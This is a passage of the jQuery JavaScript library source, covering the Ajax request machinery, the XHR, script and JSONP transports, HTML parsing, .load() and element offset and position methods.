fireGlobals,\n\n                // Loop variable\n                i,\n\n                // uncached part of the url\n                uncached,\n\n                // Create the final options object\n                s = jQuery.ajaxSetup( {}, options ),\n\n                // Callbacks context\n                callbackContext = s.context || s,\n\n                // Context for global events is callbackContext if it is a DOM node or jQuery collection\n                globalEventContext = s.context &&\n                ( callbackContext.nodeType || callbackContext.jquery ) ?\n                    jQuery( callbackContext ) :\n                    jQuery.event,\n\n                // Deferreds\n                deferred = jQuery.Deferred(),\n                completeDeferred = jQuery.Callbacks( \"once memory\" ),\n\n                // Status-dependent callbacks\n                statusCode = s.statusCode || {},\n\n                // Headers (they are sent all at once)\n                requestHeaders = {},\n                requestHeadersNames = {},\n\n                // Default abort message\n                strAbort = \"canceled\",\n\n                // Fake xhr\n                jqXHR = {\n                    readyState: 0,\n\n                    // Builds headers hashtable if needed\n                    getResponseHeader: function( key ) {\n                        var match;\n                        if ( completed ) {\n                            if ( !responseHeaders ) {\n                                responseHeaders = {};\n                                while ( ( match = rheaders.exec( responseHeadersString ) ) ) {\n                                    responseHeaders[ match[ 1 ].toLowerCase() ] = match[ 2 ];\n                                }\n                            }\n                            match = responseHeaders[ key.toLowerCase() ];\n                        }\n                        return match == null ? null : match;\n                    },\n\n                    // Raw string\n                    getAllResponseHeaders: function() {\n                        return completed ? responseHeadersString : null;\n                    },\n\n                    // Caches the header\n                    setRequestHeader: function( name, value ) {\n                        if ( completed == null ) {\n                            name = requestHeadersNames[ name.toLowerCase() ] =\n                                requestHeadersNames[ name.toLowerCase() ] || name;\n                            requestHeaders[ name ] = value;\n                        }\n                        return this;\n                    },\n\n                    // Overrides response content-type header\n                    overrideMimeType: function( type ) {\n                        if ( completed == null ) {\n                            s.mimeType = type;\n                        }\n                        return this;\n                    },\n\n                    // Status-dependent callbacks\n                    statusCode: function( map ) {\n                        var code;\n                        if ( map ) {\n                            if ( completed ) {\n\n                                // Execute the appropriate callbacks\n                                jqXHR.always( map[ jqXHR.status ] );\n                            } else {\n\n                                // Lazy-add the new callbacks in a way that preserves old ones\n                                for ( code in map ) {\n                                    statusCode[ code ] = [ statusCode[ code ], map[ code ] ];\n                                }\n                            }\n                        }\n                        return this;\n                    },\n\n                    // Cancel the request\n                    abort: function( statusText ) {\n                        var finalText = statusText || strAbort;\n                        if ( transport ) {\n                            transport.abort( finalText );\n                        }\n                        done( 0, finalText );\n                        return this;\n                    }\n                };\n\n            // Attach deferreds\n            deferred.promise( jqXHR );\n\n            // Add protocol if not provided (prefilters might expect it)\n            // Handle falsy url in the settings object (#10093: consistency with old signature)\n            // We also use the url parameter if available\n            s.url = ( ( url || s.url || location.href ) + \"\" )\n                .replace( rprotocol, location.protocol + \"//\" );\n\n            // Alias method option to type as per ticket #12004\n            s.type = options.method || options.type || s.method || s.type;\n\n            // Extract dataTypes list\n            s.dataTypes = ( s.dataType || \"*\" ).toLowerCase().match( rnothtmlwhite ) || [ \"\" ];\n\n            // A cross-domain request is in order when the origin doesn't match the current origin.\n            if ( s.crossDomain == null ) {\n                urlAnchor = document.createElement( \"a\" );\n\n                // Support: IE <=8 - 11, Edge 12 - 13\n                // IE throws exception on accessing the href property if url is malformed,\n                // e.g. http://example.com:80x/\n                try {\n                    urlAnchor.href = s.url;\n\n                    // Support: IE <=8 - 11 only\n                    // Anchor's host property isn't correctly set when s.url is relative\n                    urlAnchor.href = urlAnchor.href;\n                    s.crossDomain = originAnchor.protocol + \"//\" + originAnchor.host !==\n                        urlAnchor.protocol + \"//\" + urlAnchor.host;\n                } catch ( e ) {\n\n                    // If there is an error parsing the URL, assume it is crossDomain,\n                    // it can be rejected by the transport if it is invalid\n                    s.crossDomain = true;\n                }\n            }\n\n            // Convert data if not already a string\n            if ( s.data && s.processData && typeof s.data !== \"string\" ) {\n                s.data = jQuery.param( s.data, s.traditional );\n            }\n\n            // Apply prefilters\n            inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );\n\n            // If request was aborted inside a prefilter, stop there\n            if ( completed ) {\n                return jqXHR;\n            }\n\n            // We can fire global events as of now if asked to\n            // Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118)\n            fireGlobals = jQuery.event && s.global;\n\n            // Watch for a new set of requests\n            if ( fireGlobals && jQuery.active++ === 0 ) {\n                jQuery.event.trigger( \"ajaxStart\" );\n            }\n\n            // Uppercase the type\n            s.type = s.type.toUpperCase();\n\n            // Determine if request has content\n            s.hasContent = !rnoContent.test( s.type );\n\n            // Save the URL in case we're toying with the If-Modified-Since\n            // and/or If-None-Match header later on\n            // Remove hash to simplify url manipulation\n            cacheURL = s.url.replace( rhash, \"\" );\n\n            // More options handling for requests with no content\n            if ( !s.hasContent ) {\n\n                // Remember the hash so we can put it back\n                uncached = s.url.slice( cacheURL.length );\n\n                // If data is available, append data to url\n                if ( s.data ) {\n                    cacheURL += ( rquery.test( cacheURL ) ? \"&\" : \"?\" ) + s.data;\n\n                    // #9682: remove data so that it's not used in an eventual retry\n                    delete s.data;\n                }\n\n                // Add or update anti-cache param if needed\n                if ( s.cache === false ) {\n                    cacheURL = cacheURL.replace( rantiCache, \"$1\" );\n                    uncached = ( rquery.test( cacheURL ) ? \"&\" : \"?\" ) + \"_=\" + ( nonce++ ) + uncached;\n                }\n\n                // Put hash and anti-cache on the URL that will be requested (gh-1732)\n                s.url = cacheURL + uncached;\n\n                // Change '%20' to '+' if this is encoded form body content (gh-2658)\n            } else if ( s.data && s.processData &&\n                ( s.contentType || \"\" ).indexOf( \"application/x-www-form-urlencoded\" ) === 0 ) {\n                s.data = s.data.replace( r20, \"+\" );\n            }\n\n            // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n            if ( s.ifModified ) {\n                if ( jQuery.lastModified[ cacheURL ] ) {\n                    jqXHR.setRequestHeader( \"If-Modified-Since\", jQuery.lastModified[ cacheURL ] );\n                }\n                if ( jQuery.etag[ cacheURL ] ) {\n                    jqXHR.setRequestHeader( \"If-None-Match\", jQuery.etag[ cacheURL ] );\n                }\n            }\n\n            // Set the correct header, if data is being sent\n            if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {\n                jqXHR.setRequestHeader( \"Content-Type\", s.contentType );\n            }\n\n            // Set the Accepts header for the server, depending on the dataType\n            jqXHR.setRequestHeader(\n                \"Accept\",\n                s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ?\n                    s.accepts[ s.dataTypes[ 0 ] ] +\n                    ( s.dataTypes[ 0 ] !== \"*\" ? \", \" + allTypes + \"; q=0.01\" : \"\" ) :\n                    s.accepts[ \"*\" ]\n            );\n\n            // Check for headers option\n            for ( i in s.headers ) {\n                jqXHR.setRequestHeader( i, s.headers[ i ] );\n            }\n\n            // Allow custom headers/mimetypes and early abort\n            if ( s.beforeSend &&\n                ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) {\n\n                // Abort if not done already and return\n                return jqXHR.abort();\n            }\n\n            // Aborting is no longer a cancellation\n            strAbort = \"abort\";\n\n            // Install callbacks on deferreds\n            completeDeferred.add( s.complete );\n            jqXHR.done( s.success );\n            jqXHR.fail( s.error );\n\n            // Get transport\n            transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );\n\n            // If no transport, we auto-abort\n            if ( !transport ) {\n                done( -1, \"No Transport\" );\n            } else {\n                jqXHR.readyState = 1;\n\n                // Send global event\n                if ( fireGlobals ) {\n                    globalEventContext.trigger( \"ajaxSend\", [ jqXHR, s ] );\n                }\n\n                // If request was aborted inside ajaxSend, stop there\n                if ( completed ) {\n                    return jqXHR;\n                }\n\n                // Timeout\n                if ( s.async && s.timeout > 0 ) {\n                    timeoutTimer = window.setTimeout( function() {\n                        jqXHR.abort( \"timeout\" );\n                    }, s.timeout );\n                }\n\n                try {\n                    completed = false;\n                    transport.send( requestHeaders, done );\n                } catch ( e ) {\n\n                    // Rethrow post-completion exceptions\n                    if ( completed ) {\n                        throw e;\n                    }\n\n                    // Propagate others as results\n                    done( -1, e );\n                }\n            }\n\n            // Callback for when everything is done\n            function done( status, nativeStatusText, responses, headers ) {\n                var isSuccess, success, error, response, modified,\n                    statusText = nativeStatusText;\n\n                // Ignore repeat invocations\n                if ( completed ) {\n                    return;\n                }\n\n                completed = true;\n\n                // Clear timeout if it exists\n                if ( timeoutTimer ) {\n                    window.clearTimeout( timeoutTimer );\n                }\n\n                // Dereference transport for early garbage collection\n                // (no matter how long the jqXHR object will be used)\n                transport = undefined;\n\n                // Cache response headers\n                responseHeadersString = headers || \"\";\n\n                // Set readyState\n                jqXHR.readyState = status > 0 ? 4 : 0;\n\n                // Determine if successful\n                isSuccess = status >= 200 && status < 300 || status === 304;\n\n                // Get response data\n                if ( responses ) {\n                    response = ajaxHandleResponses( s, jqXHR, responses );\n                }\n\n                // Convert no matter what (that way responseXXX fields are always set)\n                response = ajaxConvert( s, response, jqXHR, isSuccess );\n\n                // If successful, handle type chaining\n                if ( isSuccess ) {\n\n                    // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n                    if ( s.ifModified ) {\n                        modified = jqXHR.getResponseHeader( \"Last-Modified\" );\n                        if ( modified ) {\n                            jQuery.lastModified[ cacheURL ] = modified;\n                        }\n                        modified = jqXHR.getResponseHeader( \"etag\" );\n                        if ( modified ) {\n                            jQuery.etag[ cacheURL ] = modified;\n                        }\n                    }\n\n                    // if no content\n                    if ( status === 204 || s.type === \"HEAD\" ) {\n                        statusText = \"nocontent\";\n\n                        // if not modified\n                    } else if ( status === 304 ) {\n                        statusText = \"notmodified\";\n\n                        // If we have data, let's convert it\n                    } else {\n                        statusText = response.state;\n                        success = response.data;\n                        error = response.error;\n                        isSuccess = !error;\n                    }\n                } else {\n\n                    // Extract error from statusText and normalize for non-aborts\n                    error = statusText;\n                    if ( status || !statusText ) {\n                        statusText = \"error\";\n                        if ( status < 0 ) {\n                            status = 0;\n                        }\n                    }\n                }\n\n                // Set data for the fake xhr object\n                jqXHR.status = status;\n                jqXHR.statusText = ( nativeStatusText || statusText ) + \"\";\n\n                // Success/Error\n                if ( isSuccess ) {\n                    deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );\n                } else {\n                    deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );\n                }\n\n                // Status-dependent callbacks\n                jqXHR.statusCode( statusCode );\n                statusCode = undefined;\n\n                if ( fireGlobals ) {\n                    globalEventContext.trigger( isSuccess ? \"ajaxSuccess\" : \"ajaxError\",\n                        [ jqXHR, s, isSuccess ? success : error ] );\n                }\n\n                // Complete\n                completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );\n\n                if ( fireGlobals ) {\n                    globalEventContext.trigger( \"ajaxComplete\", [ jqXHR, s ] );\n\n                    // Handle the global AJAX counter\n                    if ( !( --jQuery.active ) ) {\n                        jQuery.event.trigger( \"ajaxStop\" );\n                    }\n                }\n            }\n\n            return jqXHR;\n        },\n\n        getJSON: function( url, data, callback ) {\n            return jQuery.get( url, data, callback, \"json\" );\n        },\n\n        getScript: function( url, callback ) {\n            return jQuery.get( url, undefined, callback, \"script\" );\n        }\n    } );\n\n    jQuery.each( [ \"get\", \"post\" ], function( i, method ) {\n        jQuery[ method ] = function( url, data, callback, type ) {\n\n            // Shift arguments if data argument was omitted\n            if ( jQuery.isFunction( data ) ) {\n                type = type || callback;\n                callback = data;\n                data = undefined;\n            }\n\n            // The url can be an options object (which then must have .url)\n            return jQuery.ajax( jQuery.extend( {\n                url: url,\n                type: method,\n                dataType: type,\n                data: data,\n                success: callback\n            }, jQuery.isPlainObject( url ) && url ) );\n        };\n    } );\n\n\n    jQuery._evalUrl = function( url ) {\n        return jQuery.ajax( {\n            url: url,\n\n            // Make this explicit, since user can override this through ajaxSetup (#11264)\n            type: \"GET\",\n            dataType: \"script\",\n            cache: true,\n            async: false,\n            global: false,\n            \"throws\": true\n        } );\n    };\n\n\n    jQuery.fn.extend( {\n        wrapAll: function( html ) {\n            var wrap;\n\n            if ( this[ 0 ] ) {\n                if ( jQuery.isFunction( html ) ) {\n                    html = html.call( this[ 0 ] );\n                }\n\n                // The elements to wrap the target around\n                wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true );\n\n                if ( this[ 0 ].parentNode ) {\n                    wrap.insertBefore( this[ 0 ] );\n                }\n\n                wrap.map( function() {\n                    var elem = this;\n\n                    while ( elem.firstElementChild ) {\n                        elem = elem.firstElementChild;\n                    }\n\n                    return elem;\n                } ).append( this );\n            }\n\n            return this;\n        },\n\n        wrapInner: function( html ) {\n            if ( jQuery.isFunction( html ) ) {\n                return this.each( function( i ) {\n                    jQuery( this ).wrapInner( html.call( this, i ) );\n                } );\n            }\n\n            return this.each( function() {\n                var self = jQuery( this ),\n                    contents = self.contents();\n\n                if ( contents.length ) {\n                    contents.wrapAll( html );\n\n                } else {\n                    self.append( html );\n                }\n            } );\n        },\n\n        wrap: function( html ) {\n            var isFunction = jQuery.isFunction( html );\n\n            return this.each( function( i ) {\n                jQuery( this ).wrapAll( isFunction ? html.call( this, i ) : html );\n            } );\n        },\n\n        unwrap: function( selector ) {\n            this.parent( selector ).not( \"body\" ).each( function() {\n                jQuery( this ).replaceWith( this.childNodes );\n            } );\n            return this;\n        }\n    } );\n\n\n    jQuery.expr.pseudos.hidden = function( elem ) {\n        return !jQuery.expr.pseudos.visible( elem );\n    };\n    jQuery.expr.pseudos.visible = function( elem ) {\n        return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length );\n    };\n\n\n\n\n    jQuery.ajaxSettings.xhr = function() {\n        try {\n            return new window.XMLHttpRequest();\n        } catch ( e ) {}\n    };\n\n    var xhrSuccessStatus = {\n\n            // File protocol always yields status code 0, assume 200\n            0: 200,\n\n            // Support: IE <=9 only\n            // #1450: sometimes IE returns 1223 when it should be 204\n            1223: 204\n        },\n        xhrSupported = jQuery.ajaxSettings.xhr();\n\n    support.cors = !!xhrSupported && ( \"withCredentials\" in xhrSupported );\n    support.ajax = xhrSupported = !!xhrSupported;\n\n    jQuery.ajaxTransport( function( options ) {\n        var callback, errorCallback;\n\n        // Cross domain only allowed if supported through XMLHttpRequest\n        if ( support.cors || xhrSupported && !options.crossDomain ) {\n            return {\n                send: function( headers, complete ) {\n                    var i,\n                        xhr = options.xhr();\n\n                    xhr.open(\n                        options.type,\n                        options.url,\n                        options.async,\n                        options.username,\n                        options.password\n                    );\n\n                    // Apply custom fields if provided\n                    if ( options.xhrFields ) {\n                        for ( i in options.xhrFields ) {\n                            xhr[ i ] = options.xhrFields[ i ];\n                        }\n                    }\n\n                    // Override mime type if needed\n                    if ( options.mimeType && xhr.overrideMimeType ) {\n                        xhr.overrideMimeType( options.mimeType );\n                    }\n\n                    // X-Requested-With header\n                    // For cross-domain requests, seeing as conditions for a preflight are\n                    // akin to a jigsaw puzzle, we simply never set it to be sure.\n                    // (it can always be set on a per-request basis or even using ajaxSetup)\n                    // For same-domain requests, won't change header if already provided.\n                    if ( !options.crossDomain && !headers[ \"X-Requested-With\" ] ) {\n                        headers[ \"X-Requested-With\" ] = \"XMLHttpRequest\";\n                    }\n\n                    // Set headers\n                    for ( i in headers ) {\n                        xhr.setRequestHeader( i, headers[ i ] );\n                    }\n\n                    // Callback\n                    callback = function( type ) {\n                        return function() {\n                            if ( callback ) {\n                                callback = errorCallback = xhr.onload =\n                                    xhr.onerror = xhr.onabort = xhr.onreadystatechange = null;\n\n                                if ( type === \"abort\" ) {\n                                    xhr.abort();\n                                } else if ( type === \"error\" ) {\n\n                                    // Support: IE <=9 only\n                                    // On a manual native abort, IE9 throws\n                                    // errors on any property access that is not readyState\n                                    if ( typeof xhr.status !== \"number\" ) {\n                                        complete( 0, \"error\" );\n                                    } else {\n                                        complete(\n\n                                            // File: protocol always yields status 0; see #8605, #14207\n                                            xhr.status,\n                                            xhr.statusText\n                                        );\n                                    }\n                                } else {\n                                    complete(\n                                        xhrSuccessStatus[ xhr.status ] || xhr.status,\n                                        xhr.statusText,\n\n                                        // Support: IE <=9 only\n                                        // IE9 has no XHR2 but throws on binary (trac-11426)\n                                        // For XHR2 non-text, let the caller handle it (gh-2498)\n                                        ( xhr.responseType || \"text\" ) !== \"text\"  ||\n                                        typeof xhr.responseText !== \"string\" ?\n                                            { binary: xhr.response } :\n                                            { text: xhr.responseText },\n                                        xhr.getAllResponseHeaders()\n                                    );\n                                }\n                            }\n                        };\n                    };\n\n                    // Listen to events\n                    xhr.onload = callback();\n                    errorCallback = xhr.onerror = callback( \"error\" );\n\n                    // Support: IE 9 only\n                    // Use onreadystatechange to replace onabort\n                    // to handle uncaught aborts\n                    if ( xhr.onabort !== undefined ) {\n                        xhr.onabort = errorCallback;\n                    } else {\n                        xhr.onreadystatechange = function() {\n\n                            // Check readyState before timeout as it changes\n                            if ( xhr.readyState === 4 ) {\n\n                                // Allow onerror to be called first,\n                                // but that will not handle a native abort\n                                // Also, save errorCallback to a variable\n                                // as xhr.onerror cannot be accessed\n                                window.setTimeout( function() {\n                                    if ( callback ) {\n                                        errorCallback();\n                                    }\n                                } );\n                            }\n                        };\n                    }\n\n                    // Create the abort callback\n                    callback = callback( \"abort\" );\n\n                    try {\n\n                        // Do send the request (this may raise an exception)\n                        xhr.send( options.hasContent && options.data || null );\n                    } catch ( e ) {\n\n                        // #14683: Only rethrow if this hasn't been notified as an error yet\n                        if ( callback ) {\n                            throw e;\n                        }\n                    }\n                },\n\n                abort: function() {\n                    if ( callback ) {\n                        callback();\n                    }\n                }\n            };\n        }\n    } );\n\n\n\n\n// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432)\n    jQuery.ajaxPrefilter( function( s ) {\n        if ( s.crossDomain ) {\n            s.contents.script = false;\n        }\n    } );\n\n// Install script dataType\n    jQuery.ajaxSetup( {\n        accepts: {\n            script: \"text/javascript, application/javascript, \" +\n            \"application/ecmascript, application/x-ecmascript\"\n        },\n        contents: {\n            script: /\\b(?:java|ecma)script\\b/\n        },\n        converters: {\n            \"text script\": function( text ) {\n                jQuery.globalEval( text );\n                return text;\n            }\n        }\n    } );\n\n// Handle cache's special case and crossDomain\n    jQuery.ajaxPrefilter( \"script\", function( s ) {\n        if ( s.cache === undefined ) {\n            s.cache = false;\n        }\n        if ( s.crossDomain ) {\n            s.type = \"GET\";\n        }\n    } );\n\n// Bind script tag hack transport\n    jQuery.ajaxTransport( \"script\", function( s ) {\n\n        // This transport only deals with cross domain requests\n        if ( s.crossDomain ) {\n            var script, callback;\n            return {\n                send: function( _, complete ) {\n                    script = jQuery( \"<script>\" ).prop( {\n                        charset: s.scriptCharset,\n                        src: s.url\n                    } ).on(\n                        \"load error\",\n                        callback = function( evt ) {\n                            script.remove();\n                            callback = null;\n                            if ( evt ) {\n                                complete( evt.type === \"error\" ? 404 : 200, evt.type );\n                            }\n                        }\n                    );\n\n                    // Use native DOM manipulation to avoid our domManip AJAX trickery\n                    document.head.appendChild( script[ 0 ] );\n                },\n                abort: function() {\n                    if ( callback ) {\n                        callback();\n                    }\n                }\n            };\n        }\n    } );\n\n\n\n\n    var oldCallbacks = [],\n        rjsonp = /(=)\\?(?=&|$)|\\?\\?/;\n\n// Default jsonp settings\n    jQuery.ajaxSetup( {\n        jsonp: \"callback\",\n        jsonpCallback: function() {\n            var callback = oldCallbacks.pop() || ( jQuery.expando + \"_\" + ( nonce++ ) );\n            this[ callback ] = true;\n            return callback;\n        }\n    } );\n\n// Detect, normalize options and install callbacks for jsonp requests\n    jQuery.ajaxPrefilter( \"json jsonp\", function( s, originalSettings, jqXHR ) {\n\n        var callbackName, overwritten, responseContainer,\n            jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?\n                    \"url\" :\n                    typeof s.data === \"string\" &&\n                    ( s.contentType || \"\" )\n                        .indexOf( \"application/x-www-form-urlencoded\" ) === 0 &&\n                    rjsonp.test( s.data ) && \"data\"\n            );\n\n        // Handle iff the expected data type is \"jsonp\" or we have a parameter to set\n        if ( jsonProp || s.dataTypes[ 0 ] === \"jsonp\" ) {\n\n            // Get callback name, remembering preexisting value associated with it\n            callbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ?\n                s.jsonpCallback() :\n                s.jsonpCallback;\n\n            // Insert callback into url or form data\n            if ( jsonProp ) {\n                s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, \"$1\" + callbackName );\n            } else if ( s.jsonp !== false ) {\n                s.url += ( rquery.test( s.url ) ? \"&\" : \"?\" ) + s.jsonp + \"=\" + callbackName;\n            }\n\n            // Use data converter to retrieve json after script execution\n            s.converters[ \"script json\" ] = function() {\n                if ( !responseContainer ) {\n                    jQuery.error( callbackName + \" was not called\" );\n                }\n                return responseContainer[ 0 ];\n            };\n\n            // Force json dataType\n            s.dataTypes[ 0 ] = \"json\";\n\n            // Install callback\n            overwritten = window[ callbackName ];\n            window[ callbackName ] = function() {\n                responseContainer = arguments;\n            };\n\n            // Clean-up function (fires after converters)\n            jqXHR.always( function() {\n\n                // If previous value didn't exist - remove it\n                if ( overwritten === undefined ) {\n                    jQuery( window ).removeProp( callbackName );\n\n                    // Otherwise restore preexisting value\n                } else {\n                    window[ callbackName ] = overwritten;\n                }\n\n                // Save back as free\n                if ( s[ callbackName ] ) {\n\n                    // Make sure that re-using the options doesn't screw things around\n                    s.jsonpCallback = originalSettings.jsonpCallback;\n\n                    // Save the callback name for future use\n                    oldCallbacks.push( callbackName );\n                }\n\n                // Call if it was a function and we have a response\n                if ( responseContainer && jQuery.isFunction( overwritten ) ) {\n                    overwritten( responseContainer[ 0 ] );\n                }\n\n                responseContainer = overwritten = undefined;\n            } );\n\n            // Delegate to script\n            return \"script\";\n        }\n    } );\n\n\n\n\n// Support: Safari 8 only\n// In Safari 8 documents created via document.implementation.createHTMLDocument\n// collapse sibling forms: the second one becomes a child of the first one.\n// Because of that, this security measure has to be disabled in Safari 8.\n// https://bugs.webkit.org/show_bug.cgi?id=137337\n    support.createHTMLDocument = ( function() {\n        var body = document.implementation.createHTMLDocument( \"\" ).body;\n        body.innerHTML = \"<form></form><form></form>\";\n        return body.childNodes.length === 2;\n    } )();\n\n\n// Argument \"data\" should be string of html\n// context (optional): If specified, the fragment will be created in this context,\n// defaults to document\n// keepScripts (optional): If true, will include scripts passed in the html string\n    jQuery.parseHTML = function( data, context, keepScripts ) {\n        if ( typeof data !== \"string\" ) {\n            return [];\n        }\n        if ( typeof context === \"boolean\" ) {\n            keepScripts = context;\n            context = false;\n        }\n\n        var base, parsed, scripts;\n\n        if ( !context ) {\n\n            // Stop scripts or inline event handlers from being executed immediately\n            // by using document.implementation\n            if ( support.createHTMLDocument ) {\n                context = document.implementation.createHTMLDocument( \"\" );\n\n                // Set the base href for the created document\n                // so any parsed elements with URLs\n                // are based on the document's URL (gh-2965)\n                base = context.createElement( \"base\" );\n                base.href = document.location.href;\n                context.head.appendChild( base );\n            } else {\n                context = document;\n            }\n        }\n\n        parsed = rsingleTag.exec( data );\n        scripts = !keepScripts && [];\n\n        // Single tag\n        if ( parsed ) {\n            return [ context.createElement( parsed[ 1 ] ) ];\n        }\n\n        parsed = buildFragment( [ data ], context, scripts );\n\n        if ( scripts && scripts.length ) {\n            jQuery( scripts ).remove();\n        }\n\n        return jQuery.merge( [], parsed.childNodes );\n    };\n\n\n    /**\n     * Load a url into a page\n     */\n    jQuery.fn.load = function( url, params, callback ) {\n        var selector, type, response,\n            self = this,\n            off = url.indexOf( \" \" );\n\n        if ( off > -1 ) {\n            selector = stripAndCollapse( url.slice( off ) );\n            url = url.slice( 0, off );\n        }\n\n        // If it's a function\n        if ( jQuery.isFunction( params ) ) {\n\n            // We assume that it's the callback\n            callback = params;\n            params = undefined;\n\n            // Otherwise, build a param string\n        } else if ( params && typeof params === \"object\" ) {\n            type = \"POST\";\n        }\n\n        // If we have elements to modify, make the request\n        if ( self.length > 0 ) {\n            jQuery.ajax( {\n                url: url,\n\n                // If \"type\" variable is undefined, then \"GET\" method will be used.\n                // Make value of this field explicit since\n                // user can override it through ajaxSetup method\n                type: type || \"GET\",\n                dataType: \"html\",\n                data: params\n            } ).done( function( responseText ) {\n\n                // Save response for use in complete callback\n                response = arguments;\n\n                self.html( selector ?\n\n                    // If a selector was specified, locate the right elements in a dummy div\n                    // Exclude scripts to avoid IE 'Permission Denied' errors\n                    jQuery( \"<div>\" ).append( jQuery.parseHTML( responseText ) ).find( selector ) :\n\n                    // Otherwise use the full result\n                    responseText );\n\n                // If the request succeeds, this function gets \"data\", \"status\", \"jqXHR\"\n                // but they are ignored because response was set above.\n                // If it fails, this function gets \"jqXHR\", \"status\", \"error\"\n            } ).always( callback && function( jqXHR, status ) {\n                self.each( function() {\n                    callback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] );\n                } );\n            } );\n        }\n\n        return this;\n    };\n\n\n\n\n// Attach a bunch of functions for handling common AJAX events\n    jQuery.each( [\n        \"ajaxStart\",\n        \"ajaxStop\",\n        \"ajaxComplete\",\n        \"ajaxError\",\n        \"ajaxSuccess\",\n        \"ajaxSend\"\n    ], function( i, type ) {\n        jQuery.fn[ type ] = function( fn ) {\n            return this.on( type, fn );\n        };\n    } );\n\n\n\n\n    jQuery.expr.pseudos.animated = function( elem ) {\n        return jQuery.grep( jQuery.timers, function( fn ) {\n            return elem === fn.elem;\n        } ).length;\n    };\n\n\n\n\n    /**\n     * Gets a window from an element\n     */\n    function getWindow( elem ) {\n        return jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n    }\n\n    jQuery.offset = {\n        setOffset: function( elem, options, i ) {\n            var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,\n                position = jQuery.css( elem, \"position\" ),\n                curElem = jQuery( elem ),\n                props = {};\n\n            // Set position first, in-case top/left are set even on static elem\n            if ( position === \"static\" ) {\n                elem.style.position = \"relative\";\n            }\n\n            curOffset = curElem.offset();\n            curCSSTop = jQuery.css( elem, \"top\" );\n            curCSSLeft = jQuery.css( elem, \"left\" );\n            calculatePosition = ( position === \"absolute\" || position === \"fixed\" ) &&\n                ( curCSSTop + curCSSLeft ).indexOf( \"auto\" ) > -1;\n\n            // Need to be able to calculate position if either\n            // top or left is auto and position is either absolute or fixed\n            if ( calculatePosition ) {\n                curPosition = curElem.position();\n                curTop = curPosition.top;\n                curLeft = curPosition.left;\n\n            } else {\n                curTop = parseFloat( curCSSTop ) || 0;\n                curLeft = parseFloat( curCSSLeft ) || 0;\n            }\n\n            if ( jQuery.isFunction( options ) ) {\n\n                // Use jQuery.extend here to allow modification of coordinates argument (gh-1848)\n                options = options.call( elem, i, jQuery.extend( {}, curOffset ) );\n            }\n\n            if ( options.top != null ) {\n                props.top = ( options.top - curOffset.top ) + curTop;\n            }\n            if ( options.left != null ) {\n                props.left = ( options.left - curOffset.left ) + curLeft;\n            }\n\n            if ( \"using\" in options ) {\n                options.using.call( elem, props );\n\n            } else {\n                curElem.css( props );\n            }\n        }\n    };\n\n    jQuery.fn.extend( {\n        offset: function( options ) {\n\n            // Preserve chaining for setter\n            if ( arguments.length ) {\n                return options === undefined ?\n                    this :\n                    this.each( function( i ) {\n                        jQuery.offset.setOffset( this, options, i );\n                    } );\n            }\n\n            var docElem, win, rect, doc,\n                elem = this[ 0 ];\n\n            if ( !elem ) {\n                return;\n            }\n\n            // Support: IE <=11 only\n            // Running getBoundingClientRect on a\n            // disconnected node in IE throws an error\n            if ( !elem.getClientRects().length ) {\n                return { top: 0, left: 0 };\n            }\n\n            rect = elem.getBoundingClientRect();\n\n            // Make sure element is not hidden (display: none)\n            if ( rect.width || rect.height ) {\n                doc = elem.ownerDocument;\n                win = getWindow( doc );\n                docElem = doc.documentElement;\n\n                return {\n                    top: rect.top + win.pageYOffset - docElem.clientTop,\n                    left: rect.left + win.pageXOffset - docElem.clientLeft\n                };\n            }\n\n            // Return zeros for disconnected and hidden elements (gh-2310)\n            return rect;\n        },\n\n        position: function() {\n            if ( !this[ 0 ] ) {\n                return;\n            }\n\n            var offsetParent, offset,\n                elem = this[ 0 ],\n                parentOffset = { top: 0, left: 0 };\n\n            // Fixed elements are offset from window (parentOffset = {top:0, left: 0},\n            // because it is its only offset parent\n            if ( jQuery.css( elem, \"position\" ) === \"fixed\" ) {\n\n                // Assume getBoundingClientRect is there when computed position is fixed\n                offset = elem.getBoundingClientRect();\n\n            } else {\n\n                // Get *real* offsetParent\n                offsetParent = this.offsetParent();\n\n                // Get correct offsets\n                offset = this.offset();\n                if ( !jQuery.nodeName( offsetParent[ 0 ], \"html\" ) ) {\n                    parentOffset = offsetParent.offset();\n                }\n\n                // Add offsetParent borders\n                parentOffset = {\n                    top: parentOffset.top + jQuery.css( offsetParent[ 0 ], \"borderTopWidth\", true ),\n                    left: parentOffset.left + jQuery.css( offsetParent[ 0 ], \"borderLeftWidth\", true )\n                };\n            }\n\n            // Subtract parent offsets and element margins\n            return {\n                top: offset.top - parentOffset.top - jQuery.css( elem, \"marginTop\", true ),\n                left: offset.left - parentOffset.left - jQuery.css( elem, \"marginLeft\", true )\n            };\n        },\n\n        // This method will return documentElement in the following cases:\n        // 1) For the element inside the iframe without offsetParent, this method will return\n        //    documentElement of the parent window\n        // 2) For the hidden or detached element\n        // 3) For body or html element, i.e. in case of the html node - it will return itself\n        //\n        // but those exceptions were never presented as a real life use-cases\n        // and might be considered as more preferable results.\n        //\n        // This logic, however, is not guaranteed and can change at any point in the future\n        offsetParent: function() {\n            return this.map( function() {\n                var offsetParent = this.offsetParent;\n\n                while ( offsetParent && jQuery.css( offsetParent, \"position\" ) === \"static\" ) {\n                    offsetParent = offsetParent.offsetParent;\n                }\n\n                return offsetParent || documentElement;\n            } );\n        }\n    } );\n\n// Create scrollLeft and scrollTop methods\n    jQuery.each( { 